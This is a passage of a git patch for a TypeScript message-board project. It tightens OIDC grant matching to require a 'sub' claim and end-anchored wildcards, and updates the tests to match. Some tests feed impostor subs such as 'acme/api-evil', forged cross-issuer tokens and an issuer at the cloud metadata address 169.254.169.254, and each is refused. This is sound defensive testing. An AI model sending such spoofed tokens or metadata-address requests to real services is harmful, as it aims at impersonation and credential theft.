branch: 'main' }, issuer]) + // The API names an issuer's caller by its sub, as a board does. + for (const claims of [{ project_id: '42' }, { sub: 'project_path:acme*' }] as Record[]) + await expect(jb.updateGrant(grant.id, { add: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims }] })).rejects.toMatchObject({ status: 400, code: 'invalid_grant' }) const [made] = (await jb.createGrants([{ principals: [{ kind: 'github', repository: 'acme/api', event: 'push' }], can: { 'deploys/': ['read'] } }])).grants expect(made?.principals).toEqual([{ kind: 'github', repositoryId: '700002', repository: 'acme/api', event: 'push' }]) // What the API decides for a run on main, and for one on another branch, which the grant doesn't name. expect(await jb.explain('ci/www', { github: 'acme/web', branch: 'main' })).toMatchObject({ pattern: 'ci/', level: 'principal', grants: [{ id: grant.id }], can: ['post'] }) expect(await jb.explain('ci/www', { github: 'acme/web', branch: 'dev' })).toMatchObject({ pattern: null, grants: [], can: [] }) - expect(await jb.explain('ci/www', { oidc: 'https://gitlab.com', claims: { project_path: 'acme/api' } })).toMatchObject({ pattern: 'ci/', grants: [{ id: grant.id }], can: ['post'] }) + expect(await jb.explain('ci/www', { oidc: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:ref_type:branch:ref:main', project_id: '42' } })).toMatchObject({ pattern: 'ci/', grants: [{ id: grant.id }], can: ['post'] }) + expect(await jb.explain('ci/www', { oidc: 'https://gitlab.com', claims: { sub: 'project_path:acme/api-evil:ref_type:branch:ref:main', project_id: '42' } })).toMatchObject({ pattern: null, grants: [], can: [] }) }) it("says what an API that takes no GitHub or OIDC principal answers, in its own words and nothing else", async () => { @@ -3029,7 +3033,7 @@ describe('vercel()', () => { const theirs = { status: 400, ...refused, origin: 'board', hint: undefined } await expect(jb.createGrant({ principals: [{ kind: 'github', repository: 'acme/web' }], can: { 'ci/': ['post'] } })).rejects.toMatchObject(theirs) const { grant } = await jb.createGrant({ principals: [{ kind: 'app', app: 'ship' }], can: { 'ci/': ['post'] } }) - await expect(jb.updateGrant(grant.id, { add: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: '42' } }] })).rejects.toMatchObject(theirs) + await expect(jb.updateGrant(grant.id, { add: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:*', project_id: '42' } }] })).rejects.toMatchObject(theirs) await expect(jb.explain('ci', { github: 'acme/web' })).rejects.toMatchObject(theirs) }) diff --git a/packages/board/test/backends.test.ts b/packages/board/test/backends.test.ts index 4758f5e5f..78faadbe9 100644 --- a/packages/board/test/backends.test.ts +++ b/packages/board/test/backends.test.ts @@ -262,7 +262,7 @@ describe('a board on http()', () => { it("keeps a principal's keyed IDs from one whose ID is a colon-prefix of it", async () => { // OIDC subjects carry colons, so one principal's ID can be the start of another's. const remote = testBoard() - await remote.createGrant({ principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { project_path: 'acme/api' } }], can: { '*': 'all' } }) + await remote.createGrant({ principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { sub: ['acme', 'acme:ci'] } }], can: { '*': 'all' } }) const acme = caller(remote.fetch, await oidcToken({ sub: 'acme' })) expect((await acme('GET', '/me')).body.principal).toBe('oidc:gitlab.test:acme') const theirs = 'key:oidc:gitlab.test:acme:ci:0123456789abcdef0123456789abcdef' diff --git a/packages/board/test/channel-access.test.ts b/packages/board/test/channel-access.test.ts index 1cf73978e..bde3bcfcc 100644 --- a/packages/board/test/channel-access.test.ts +++ b/packages/board/test/channel-access.test.ts @@ -147,7 +147,7 @@ describe('what a grant lets in', () => { }) describe('a grant for another OIDC issuer', () => { - const gitlab = (can: GrantInput['can'] = { 'ci/': ['read', 'post'] }) => granting({ principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { project_path: 'acme/api' } }], can }) + const gitlab = (can: GrantInput['can'] = { 'ci/': ['read', 'post'] }) => granting({ principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { sub: 'project_path:acme/api:*', project_path: 'acme/api' } }], can }) it('trusts a pinned issuer’s tokens whose claims match exactly', async () => { const me = await caller((await gitlab()).fetch, await oidcToken())('GET', '/me') @@ -161,6 +161,8 @@ describe('a grant for another OIDC issuer', () => { it('refuses tokens whose claims differ', async () => { const other = await caller((await gitlab()).fetch, await oidcToken({ project_path: 'acme/api-fork' }))('GET', '/me') expect(other).toMatchObject({ status: 403, body: { error: { message: "this token can't use this board: no grant lets in its claims" } } }) + const evil = await caller((await gitlab()).fetch, await oidcToken({ sub: 'project_path:acme/api-evil:ref_type:branch:ref:main' }))('GET', '/me') + expect(evil.status).toBe(403) const nested = await caller((await gitlab()).fetch, await oidcToken({ project_path: ['acme/api'] }))('GET', '/me') expect(nested.status).toBe(403) }) @@ -184,7 +186,7 @@ describe('a grant for another OIDC issuer', () => { // Before, both were oidc:gitlab.test:8443:deploy. const withPort = `${OIDC_ISS}:8443` const board = testBoard({ auth: { ...testAuth, oidc: { ...testAuth.oidc, [withPort]: testAuth.oidc[OIDC_ISS]! } } }) - for (const issuer of [OIDC_ISS, withPort]) await board.createGrant({ principals: [{ kind: 'oidc', issuer, claims: { project_path: 'acme/api' } }], can: { '*': 'all' } }) + for (const [issuer, sub] of [[OIDC_ISS, '8443:deploy'], [withPort, 'deploy']] as const) await board.createGrant({ principals: [{ kind: 'oidc', issuer, claims: { sub } }], can: { '*': 'all' } }) const { fetch } = board const principal = async (sub: string, issuer?: string) => (await caller(fetch, await oidcToken({ sub }, issuer))('GET', '/me')).body.principal @@ -195,8 +197,8 @@ describe('a grant for another OIDC issuer', () => { it('keeps each grant to its own issuer', async () => { const selfHosted = 'https://ci.selfhosted.test' const board = testBoard({ auth: { ...testAuth, oidc: { ...testAuth.oidc, [selfHosted]: testAuth.oidc[OIDC_ISS]! } } }) - await board.createGrant({ principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { project_path: 'acme/api' } }], can: { '*': 'all' } }) - await board.createGrant({ principals: [{ kind: 'oidc', issuer: selfHosted, claims: { team: 'x' } }], can: { 'ci/': ['post'] } }) + await board.createGrant({ principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { sub: 'project_path:acme/api:*' } }], can: { '*': 'all' } }) + await board.createGrant({ principals: [{ kind: 'oidc', issuer: selfHosted, claims: { sub: 'project_path:acme/api:*', team: 'x' } }], can: { 'ci/': ['post'] } }) const { fetch } = board // A token from the self-hosted issuer that claims gitlab.com's project gets nothing of its grant. const forged = await caller(fetch, await oidcToken({ project_path: 'acme/api' }, selfHosted))('GET', '/me') diff --git a/packages/board/test/cli-embedded.test.ts b/packages/board/test/cli-embedded.test.ts index 3cdd961dc..af8ecba83 100644 --- a/packages/board/test/cli-embedded.test.ts +++ b/packages/board/test/cli-embedded.test.ts @@ -1200,9 +1200,9 @@ describe('the embedded CLI', () => { process.chdir(home) try { expect(await run('grants', 'create', '--github', 'acme/web', '--git-branch', 'main', '--can', 'ci/=post')).toEqual({ code: 0, stdout: 'created g4 --github acme/web --git-branch main ci/=post\n', stderr: '' }) - expect(await run('grants', 'create', '--oidc', 'https://gitlab.com', '--claim', 'project_path=acme/api', '--can', 'deploys=post')).toEqual({ + expect(await run('grants', 'create', '--oidc', 'https://gitlab.com', '--claim', 'sub=project_path:acme/api:*', '--can', 'deploys=post')).toEqual({ code: 0, - stdout: 'created g5 --oidc https://gitlab.com --claim project_path=acme/api deploys=post\n', + stdout: 'created g5 --oidc https://gitlab.com --claim sub=project_path:acme/api:* deploys=post\n', stderr: '', }) expect(await run('grants', 'explain', 'ci/www', '--github', 'acme/web', '--git-branch', 'main')).toEqual({ code: 0, stdout: 'ci/ wins. Closest grant for acme/web: g4 (--github): post.\n', stderr: '' }) diff --git a/packages/board/test/cli-grants.test.ts b/packages/board/test/cli-grants.test.ts index 80078ac57..a03349fa3 100644 --- a/packages/board/test/cli-grants.test.ts +++ b/packages/board/test/cli-grants.test.ts @@ -37,8 +37,8 @@ describe('cli grants', () => { expect(project.stdout).toBe(`created ${project.id} --project prj_sec --environment production,preview dev/=read security/=read,post\n`) const runs = await create('--github', 'acme/web', '--workflow', 'ci.yml', '--git-branch', 'main', '--github', 'acme/api', '--workflow', 'deploy.yml', '--can', 'ci/=post') expect(runs.stdout).toBe(`created ${runs.id} --github acme/web --workflow ci.yml --git-branch main --github acme/api --workflow deploy.yml ci/=post\n`) - const issuer = await create('--oidc', 'https://gitlab.com', '--claim', 'project_id=42', '--can', 'ci/=post') - expect(issuer.stdout).toBe(`created ${issuer.id} --oidc https://gitlab.com --claim project_id=42 ci/=post\n`) + const issuer = await create('--oidc', 'https://gitlab.com', '--claim', 'sub=project_path:acme/api:*', '--claim', 'project_id=42', '--can', 'ci/=post') + expect(issuer.stdout).toBe(`created ${issuer.id} --oidc https://gitlab.com --claim project_id=42 --claim sub=project_path:acme/api:* ci/=post\n`) // A project without --environment is its production deployments. const web = await create('--project', 'prj_web', '--can', 'web/=all') expect(web.stdout).toBe(`created ${web.id} --project prj_web --environment production web/=all\n`) @@ -57,7 +57,7 @@ describe('cli grants', () => { [people.id, '--user u_alice --user u_bob', 'security/=all'], [project.id, '--project prj_sec --environment production,preview', 'dev/=read security/=read,post'], [runs.id, '--github acme/web --workflow ci.yml --git-branch main --github acme/api --workflow deploy.yml', 'ci/=post'], - [issuer.id, '--oidc https://gitlab.com --claim project_id=42', 'ci/=post'], + [issuer.id, '--oidc https://gitlab.com --claim project_id=42 --claim sub=project_path:acme/api:*', 'ci/=post'], [web.id, '--project prj_web --environment production', 'web/=all'], [app.id, '--app cl_ship', 'ship/=post'], ] @@ -124,10 +124,18 @@ describe('cli grants', () => { }, 30_000) it('gathers a repeated --claim into one claim that any of its values meets', async () => { - const made = await create('--oidc', 'https://gitlab.com', '--claim', 'project_id=42', '--claim', 'ref_type=branch', '--claim', 'project_id=43', '--can', 'ci/=post') - expect(made.stdout).toBe(`created ${made.id} --oidc https://gitlab.com --claim project_id=42 --claim project_id=43 --claim ref_type=branch ci/=post\n`) + const made = await create('--oidc', 'https://gitlab.com', '--claim', 'sub=project_path:acme/api:*', '--claim', 'project_id=42', '--claim', 'ref_type=branch', '--claim', 'project_id=43', '--can', 'ci/=post') + expect(made.stdout).toBe(`created ${made.id} --oidc https://gitlab.com --claim project_id=42 --claim project_id=43 --claim ref_type=branch --claim sub=project_path:acme/api:* ci/=post\n`) const listed = JSON.parse((await vb(['grants', '--json'])).stdout).grants.find((grant: { id: string }) => grant.id === made.id) - expect(listed.principals).toEqual([{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: ['42', '43'], ref_type: 'branch' } }]) + expect(listed.principals).toEqual([{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: ['42', '43'], ref_type: 'branch', sub: 'project_path:acme/api:*' } }]) + }) + + it("says the board's refusal of an issuer's grant that names no sub", async () => { + expect(await vb(['grants', 'create', '--oidc', 'https://gitlab.com', '--claim', 'project_id=42', '--can', 'ci/=post'])).toEqual({ + code: 2, + stdout: '', + stderr: "error: Can't create the grant.\n name a sub for https://gitlab.com, like project_path:acme/api:*: it signs tokens for everyone it serves, and only a sub says whose a token is\n", + }) }) it('reads each modifier with the principal before it, and refuses one without its principal, making nothing', async () => { diff --git a/packages/board/test/grant-access.test.ts b/packages/board/test/grant-access.test.ts index a85c91e53..906836074 100644 --- a/packages/board/test/grant-access.test.ts +++ b/packages/board/test/grant-access.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { checkGrantChange, explainGrants, grantAccess, type DecidingGrant, type GrantFacts, type GrantShape } from '../src/access/index.ts' +import { checkGrantChange, explainGrants, grantAccess, subPrefix, type DecidingGrant, type GrantFacts, type GrantShape } from '../src/access/index.ts' // The grant decision as Vercel's API makes it with board's code: plain data in, accesses out. @@ -60,14 +60,28 @@ describe('grantAccess', () => { const ci: DecidingGrant = { principals: [{ kind: 'github', repository: 'acme/web', repositoryId: '7', workflow: '.github/workflows/ci.yml', branch: 'main' }], can: { 'ci/': ['post'] } } expect(summaries({ ...run, grants: [ci] })?.caller).toEqual({ 'ci/': ['post'] }) expect(grantAccess({ caller: { ...run.caller, ref: 'refs/heads/dev' }, grants: [ci] })).toBeNull() - const gitlab: DecidingGrant = { principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: ['42', '43'] } }], can: { 'ci/': ['post'] } } - expect(grantAccess({ caller: { kind: 'oidc', issuer: 'https://gitlab.com', claims: { project_id: 43 } }, grants: [gitlab] })).not.toBeNull() + const gitlab: DecidingGrant = { principals: [{ kind: 'oidc', issuer: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:*', project_id: ['42', '43'] } }], can: { 'ci/': ['post'] } } + expect(grantAccess({ caller: { kind: 'oidc', issuer: 'https://gitlab.com', claims: { sub: 'project_path:acme/api:ref_type:branch:ref:main', project_id: 43 } }, grants: [gitlab] })).not.toBeNull() const app = { caller: { kind: 'app', clientId: 'cl_ship' }, teamApp: true } as const expect(summaries({ ...app, grants: [g3] })?.caller).toEqual({ '*': ['read', 'post', 'react', 'label'] }) expect(summaries({ ...app, grants: [g3, { principals: [{ kind: 'app', clientId: 'cl_ship' }], can: { 'ship/': 'all' } }] })?.caller).toEqual({ '*': ['read', 'post', 'react', 'label'], 'ship/': ALL }) expect(grantAccess({ ...app, teamApp: false, grants: [g3] })).toBeNull() }) + it("matches an issuer's sub by how it starts where it ends in :* or /*, and every other value exactly", () => { + const issuer = 'https://gitlab.com' + const gitlab: DecidingGrant = { principals: [{ kind: 'oidc', issuer, claims: { sub: ['project_path:acme/api:*', 'org/1/project/2/user/*', 'deploy'], ref: 'release/*' } }], can: { 'ci/': ['post'] } } + const lets = (sub: string, ref = 'release/*') => grantAccess({ caller: { kind: 'oidc', issuer, claims: { sub, ref } }, grants: [gitlab] }) !== null + expect(['project_path:acme/api:ref_type:branch:ref:main', 'org/1/project/2/user/3', 'deploy'].map((sub) => lets(sub))).toEqual([true, true, true]) + expect(['project_path:acme/api-evil:ref_type:branch:ref:main', 'project_path:acme/api', 'org/1/project/20/user/3', 'deploy:prod'].map((sub) => lets(sub))).toEqual([false, false, false, false]) + // Only a sub is a pattern. + expect(lets('deploy', 'release/1')).toBe(false) + // A grant stored before the board refused other *s matches them as they're written. + const stored: DecidingGrant = { principals: [{ kind: 'oidc', issuer, claims: { sub: ['acme*', '*'] } }], can: { 'ci/': ['post'] } } + const storedLets = (sub: string) => grantAccess({ caller: { kind: 'oidc', issuer, claims: { sub } }, grants: [stored] }) !== null + expect(['acme-evil', 'anyone', 'acme*', '*'].map(storedLets)).toEqual([false, false, true, true]) + }) + it('lets an app capped by its scope, or narrowed where everyone reads, let no one in', () => { const app = { caller: { kind: 'app', clientId: 'cl_ship' }, teamApp: true } as const const manages: DecidingGrant = { principals: [{ kind: 'app', clientId: 'cl_ship' }], can: { '*': 'all' } } @@ -84,6 +98,13 @@ describe('grantAccess', () => { }) }) +describe('subPrefix', () => { + it('takes a * only at the end, right after a : or a /', () => { + const subs = ['project_path:acme/api:*', 'org/1/user/*', 'project_path:acme/api', 'acme*', '*', 'org:*:project:x', 'a:*:*', ''] + expect(subs.map(subPrefix)).toEqual(['project_path:acme/api:', 'org/1/user/', null, null, null, null, null, null]) + }) +}) + describe('explainGrants', () => { it('says which pattern, level, and grants decide a channel, and what they give after the cap and the token', () => { const opens: DecidingGrant = { principals: [{ kind: 'user', userId: 'u_bob' }], can: { 'security/': 'all' } } diff --git a/packages/board/test/grants.test.ts b/packages/board/test/grants.test.ts index b117af55f..976aa1796 100644 --- a/packages/board/test/grants.test.ts +++ b/packages/board/test/grants.test.ts @@ -445,7 +445,7 @@ describe('grants', () => { const { person, as } = await setUp() const gitlab = await as(oidcToken()) expect((await gitlab('GET', '/me')).status).toBe(401) - await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { project_path: 'acme/api' } }], can: { 'ci/': ['post'] } }) + await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { sub: 'project_path:acme/api:*', project_path: 'acme/api' } }], can: { 'ci/': ['post'] } }) expect((await gitlab('POST', '/messages', { channel: 'ci', text: 'from gitlab' })).status).toBe(201) const another = await as(oidcToken({ project_path: 'acme/other', sub: 'project_path:acme/other' })) expect((await another('POST', '/messages', { channel: 'ci', text: 'not granted' })).status).toBe(403) @@ -453,7 +453,7 @@ describe('grants', () => { it("refuses a token whose sub would read as another workflow's profile, and changes no one's ID", async () => { const { person, as, board } = await setUp() - await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { project_path: 'acme/api' } }], can: { 'ci/': ['read', 'post'] } }) + await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { sub: ['build', 'build%2Bpi', 'project_path:acme/api:*'] } }], can: { 'ci/': ['read', 'post'] } }) for (const sub of ['build+pi', 'build]', 'build pi']) { const refused = await (await as(oidcToken({ sub })))('POST', '/messages', { channel: 'ci', text: 'hi' }) expect([sub, refused.status, refused.body.error.message]).toEqual([sub, 401, `token from ${OIDC_ISS} has a sub with a +, a ], or a space, which a principal's ID can't hold`]) @@ -465,11 +465,55 @@ describe('grants', () => { expect(await who(await as(oidcToken()))).toBe('oidc:gitlab.test:project_path:acme/api:ref_type:branch:ref:main') }) + it("lets in an issuer's tokens by their sub, exactly or by how it starts, and with every other claim it names", async () => { + const { person, as } = await setUp() + const subs = ['project_path:acme/api:*', 'project_path:acme/web:ref_type:branch:ref:main'] + await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims: { sub: subs, project_id: '42' } }], can: { 'ci/': ['post'] } }) + const posts = async (claims: Record) => (await (await as(oidcToken({ project_id: '42', ...claims })))('POST', '/messages', { channel: 'ci', text: 'run' })).status + expect(await posts({})).toBe(201) + expect(await posts({ sub: 'project_path:acme/api:ref_type:tag:ref:v1' })).toBe(201) + expect(await posts({ sub: 'project_path:acme/web:ref_type:branch:ref:main' })).toBe(201) + // A pattern's start ends at its : or /, and a sub without a * is all of it. + expect(await posts({ sub: 'project_path:acme/api-evil:ref_type:branch:ref:main' })).toBe(403) + expect(await posts({ sub: 'project_path:acme/api' })).toBe(403) + expect(await posts({ sub: 'project_path:acme/web:ref_type:branch:ref:main-evil' })).toBe(403) + expect(await posts({ project_id: '43' })).toBe(403) + }) + + it('refuses an oidc principal without a sub, or with a * anywhere but last, right after a : or a /', async () => { + const { person } = await setUp() + const made = async (claims: Record) => { + const { status, body } = await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: OIDC_ISS, claims }], can: { 'ci/': ['post'] } }) + return status === 200 ? status : [status, body.error.code, body.error.message] + } + const invalid = (message: string) => [400, 'invalid_grant', message] + const noSub = invalid(`name a sub for ${OIDC_ISS}, like project_path:acme/api:*: it signs tokens for everyone it serves, and only a sub says whose a token is`) + expect(await made({ project_path: 'acme/api' })).toEqual(noSub) + expect(await made({})).toEqual(noSub) + expect(await made({ sub: '*' })).toEqual(invalid(`sub * is everyone ${OIDC_ISS} serves: name a sub, or how one starts, like project_path:acme/api:*`)) + // `organization:acme*` would let in organization:acme-evil too. + for (const sub of ['organization:acme*', 'org:*:project:x', 'a:*:*']) + expect([sub, await made({ sub })]).toEqual([sub, invalid(`a sub's * goes last, right after a : or a /, like project_path:acme/api:*, got ${sub}`)]) + expect(await made({ sub: ['project_path:acme/api:*', 'project_path:acme*'] })).toEqual(invalid("a sub's * goes last, right after a : or a /, like project_path:acme/api:*, got project_path:acme*")) + expect(await made({ sub: 'org/1/project/2/user/*', ref: 'release-*' })).toBe(200) + }) + + it('takes a principal without a sub out of a grant made before the board asked for one, and adds none', async () => { + const { board, person } = await setUp() + const older = { kind: 'oidc', issuer: OIDC_ISS, claims: { project_path: 'acme/api' } } as const + const run = { kind: 'github', repository: 'acme/web' } as const + const log = createServer({ contract: accessContract, store: board.store.log }).session(ACCESS_SESSION) + await log.append({ type: 'grant.created', payload: { principals: [older, run], can: { 'ci/': ['post'] }, by: 'local:user:julian' } }) + expect((await person('PATCH', '/grants/g4', { add: [older] })).body.error.code).toBe('invalid_grant') + const removed = await person('PATCH', '/grants/g4', { remove: [older] }) + expect([removed.status, removed.body.grant.principals]).toEqual([200, [{ ...run, repositoryId: null }]]) + }) + it("finds a grant's issuer's keys by OIDC discovery, never by a redirect or on the board's own network", async () => { const ISS = 'https://idp.acme.dev' const DISCOVERY = `${ISS}/.well-known/openid-configuration` const { person, as } = await setUp() - await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: ISS, claims: { project_path: 'acme/api' } }], can: { 'ci/': ['read'] } }) + await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: ISS, claims: { sub: 'project_path:acme/api:*' } }], can: { 'ci/': ['read'] } }) const me = async () => (await (await as(oidcToken({}, ISS)))('GET', '/me')).status // The network as fetch sees it: a redirect is followed unless the request says otherwise. const asked: string[] = [] @@ -511,7 +555,7 @@ describe('grants', () => { const ISS = 'https://idp-once.acme.dev' const DISCOVERY = `${ISS}/.well-known/openid-configuration` const { person, as } = await setUp() - await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: ISS, claims: { project_path: 'acme/api' } }], can: { 'ci/': ['read'] } }) + await person('POST', '/grants', { principals: [{ kind: 'oidc', issuer: ISS, claims: { sub: 'project_path:acme/api:*' } }], can: { 'ci/': ['read'] } }) const call = await as(oidcToken({}, ISS)) let discoveries = 0 let up = false @@ -557,8 +601,8 @@ describe('grants', () => { expect(await refused({ kind: 'oidc', issuer: 'https://169.254.169.254', claims: { sub: 'x' } })).toEqual(invalid) expect(await refused({ kind: 'oidc', issuer: 'https://ci.internal/oidc', claims: { sub: 'x' } })).toEqual(invalid) expect(await refused({ kind: 'oidc', issuer: 'http://gitlab.com', claims: { sub: 'x' } })).toEqual(invalid) - expect(await refused({ kind: 'oidc', issuer: 'https://oidc.vercel.com/acme', claims: { project_id: 'prj_front' } })).toEqual(invalid) - expect(await refused({ kind: 'oidc', issuer: 'https://token.actions.githubusercontent.com', claims: { repository: 'acme/web' } })).toEqual(invalid) + expect(await refused({ kind: 'oidc', issuer: 'https://oidc.vercel.com/acme', claims: { sub: 'owner:acme:*' } })).toEqual(invalid) + expect(await refused({ kind: 'oidc', issuer: 'https://token.actions.githubusercontent.com', claims: { sub: 'repo:acme/web:*' } })).toEqual(invalid) expect(await refused(everyone, { 'ci/*': ['post'] })).toEqual(invalid) expect(await refused(everyone, {})).toEqual(invalid) expect((await person('POST', '/grants', { principals: [], can: { '*': ['read'] } })).status).toBe(400) @@ -568,7 +612,7 @@ describe('grants', () => { it('refuses an issuer that names the same principals as one a grant trusts', async () => { const board = testBoard() const person = caller(board.fetch, await personToken()) - const gitlab = (issuer: string) => ({ principals: [{ kind: 'oidc', issuer, claims: { project_path: 'acme/api' } }], can: { 'ci/': ['post'] } }) + const gitlab = (issuer: string) => ({ principals: [{ kind: 'oidc', issuer, claims: { sub: 'project_path:acme/api:*' } }], can: { 'ci/': ['post'] } }) expect((await person('POST', '/grants', gitlab(OIDC_ISS))).status).toBe(200) const { status, body } = await person('POST', '/grants', gitlab(`${OIDC_ISS}/`)) expect([status, body.error.code]).toEqual([400, 'invalid_grant']) @@ -576,7 +620,7 @@ describe('grants', () => { it('refuses two issuers that name the same principals within one grant, or added to it', async () => { const { person } = await setUp() - const gitlab = (issuer: string) => ({ kind: 'oidc', issuer, claims: { project_path: 'acme/api' } }) + const gitlab = (issuer: string) => ({ kind: 'oidc', issuer, claims: { sub: 'project_path:acme/api:*' } }) const both = await person('POST', '/grants', { principals: [gitlab(OIDC_ISS), gitlab(`${OIDC_ISS}/`)], can: { 'ci/': ['post'] } }) expect([both.status, both.body.error.code]).toEqual([400, 'invalid_grant']) const one = await person('POST', '/grants', { principals: [gitlab(OIDC_ISS)], can: { 'ci/': ['post'] } }) @@ -588,7 +632,7 @@ describe('grants', () => { const { owner, as } = await setUp() await owner('POST', '/grants', { principals: [{ kind: 'project', project: 'prj_ops', environments: ['production'] }], can: { 'ci/': 'all' } }) const ops = await as(deploymentToken('ops', 'prj_ops', 'production')) - const gitlab = { kind: 'oidc', issuer: OIDC_ISS, claims: { project_path: 'acme/api' } } + const gitlab = { kind: 'oidc', issuer: OIDC_ISS, claims: { sub: 'project_path:acme/api:*' } } expect((await ops('POST', '/grants', { principals: [gitlab], can: { 'ci/': ['post'] } })).status).toBe(403) const run = await ops('POST', '/grants', { principals: [{ kind: 'github', repository: 'acme/web' }], can: { 'ci/': ['post'] } }) expect(run.status).toBe(200) diff --git a/packages/board/test/messageboard-grants.ts b/packages/board/test/messageboard-grants.ts index 7a857e515..4d24a0841 100644 --- a/packages/board/test/messageboard-grants.ts +++ b/packages/board/test/messageboard-grants.ts @@ -58,6 +58,9 @@ export class GrantRefused extends Error { const LEVEL: Record = { principal: 0, group: 1, everyone: 2 } const levelOf = (principal: Stored): Level => (principal.kind === 'everyone' ? 'everyone' : principal.kind === 'all-users' || principal.kind === 'all-projects' || principal.kind === 'all-apps' ? 'group' : 'principal') +/** What a `sub` pattern, `project_path:acme/api:*`, matches the start of, or null for one that matches exactly. */ +const subPrefix = (sub: string) => (/^[^*]*[:/]\*$/.test(sub) ? sub.slice(0, -1) : null) + /** Whether grant pattern `pattern` covers `target`, a channel or a pattern of its own. */ function covers(pattern: string, target: string): boolean { if (pattern === '*' || pattern === target) return true @@ -123,9 +126,17 @@ export function fakeGrants(options: { const { workflow, branch, event } = input return { kind: 'github', repositoryId, repository: input.repository, ...(workflow ? { workflow } : {}), ...(branch ? { branch } : {}), ...(event ? { event } : {}) } } - case 'oidc': + case 'oidc': { if (typeof input.issuer !== 'string' || !input.issuer.startsWith('https://')) throw invalid('an oidc issuer is an https URL') - return { kind: 'oidc', issuer: input.issuer, claims: input.claims ?? {} } + const claims: Record = input.claims ?? {} + // A removal goes by who it is, so one stored without a sub can still be taken out. + if (!removal) { + if (claims.sub === undefined) throw invalid('an oidc principal names a sub') + const wild = [claims.sub].flat().find((one) => one.includes('*') && subPrefix(one) === null) + if (wild !== undefined) throw invalid(`a sub's * goes last, after a : or a /: got ${wild}`) + } + return { kind: 'oidc', issuer: input.issuer, claims } + } case 'app': { // A slug or a client ID, kept by client ID. const clientId = input.app in options.apps ? input.app : Object.keys(options.apps).find((id) => options.apps[id] === input.app) @@ -199,7 +210,14 @@ export function fakeGrants(options: { return ( who.kind === 'oidc' && who.issuer === principal.issuer && - Object.entries(principal.claims).every(([name, value]) => (Array.isArray(value) ? value.includes(who.claims[name] ?? '') : who.claims[name] === value)) + Object.entries(principal.claims).every(([name, value]) => { + const given = who.claims[name] + if (given === undefined) return false + return [value].flat().some((one) => { + const prefix = name === 'sub' ? subPrefix(one) : null + return prefix === null ? given === one : given.startsWith(prefix) + }) + }) ) case 'everyone': return admitted From 197bc465c54579570f8c55864ea8c2647309298e Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 13:05:39 -0300 Subject: [PATCH 11/12] fix(grants): refuse a sub pattern with nothing before its separator --- packages/board/src/server/grants.ts | 2 +- packages/board/test/grant-access.test.ts | 4 ++-- packages/board/test/grants.test.ts | 2 +- packages/board/test/messageboard-grants.ts | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/packages/board/src/server/grants.ts b/packages/board/src/server/grants.ts index 27034ff5d..1d4770b2b 100644 --- a/packages/board/src/server/grants.ts +++ b/packages/board/src/server/grants.ts @@ -103,7 +103,7 @@ export function levelOf(principal: GrantPrincipal, facts: Pick = { principal: 0, group: 1, everyone: 2 } diff --git a/packages/board/test/grant-access.test.ts b/packages/board/test/grant-access.test.ts index 906836074..cb1554e4c 100644 --- a/packages/board/test/grant-access.test.ts +++ b/packages/board/test/grant-access.test.ts @@ -100,8 +100,8 @@ describe('grantAccess', () => { describe('subPrefix', () => { it('takes a * only at the end, right after a : or a /', () => { - const subs = ['project_path:acme/api:*', 'org/1/user/*', 'project_path:acme/api', 'acme*', '*', 'org:*:project:x', 'a:*:*', ''] - expect(subs.map(subPrefix)).toEqual(['project_path:acme/api:', 'org/1/user/', null, null, null, null, null, null]) + const subs = ['project_path:acme/api:*', 'org/1/user/*', 'project_path:acme/api', 'acme*', '*', ':*', '/*', 'org:*:project:x', 'a:*:*', ''] + expect(subs.map(subPrefix)).toEqual(['project_path:acme/api:', 'org/1/user/', null, null, null, null, null, null, null, null]) }) }) diff --git a/packages/board/test/grants.test.ts b/packages/board/test/grants.test.ts index 976aa1796..143c27cb5 100644 --- a/packages/board/test/grants.test.ts +++ b/packages/board/test/grants.test.ts @@ -492,7 +492,7 @@ describe('grants', () => { expect(await made({})).toEqual(noSub) expect(await made({ sub: '*' })).toEqual(invalid(`sub * is everyone ${OIDC_ISS} serves: name a sub, or how one starts, like project_path:acme/api:*`)) // `organization:acme*` would let in organization:acme-evil too. - for (const sub of ['organization:acme*', 'org:*:project:x', 'a:*:*']) + for (const sub of ['organization:acme*', 'org:*:project:x', 'a:*:*', ':*', '/*']) expect([sub, await made({ sub })]).toEqual([sub, invalid(`a sub's * goes last, right after a : or a /, like project_path:acme/api:*, got ${sub}`)]) expect(await made({ sub: ['project_path:acme/api:*', 'project_path:acme*'] })).toEqual(invalid("a sub's * goes last, right after a : or a /, like project_path:acme/api:*, got project_path:acme*")) expect(await made({ sub: 'org/1/project/2/user/*', ref: 'release-*' })).toBe(200) diff --git a/packages/board/test/messageboard-grants.ts b/packages/board/test/messageboard-grants.ts index 4d24a0841..190349807 100644 --- a/packages/board/test/messageboard-grants.ts +++ b/packages/board/test/messageboard-grants.ts @@ -59,7 +59,7 @@ const LEVEL: Record = { principal: 0, group: 1, everyone: 2 } const levelOf = (principal: Stored): Level => (principal.kind === 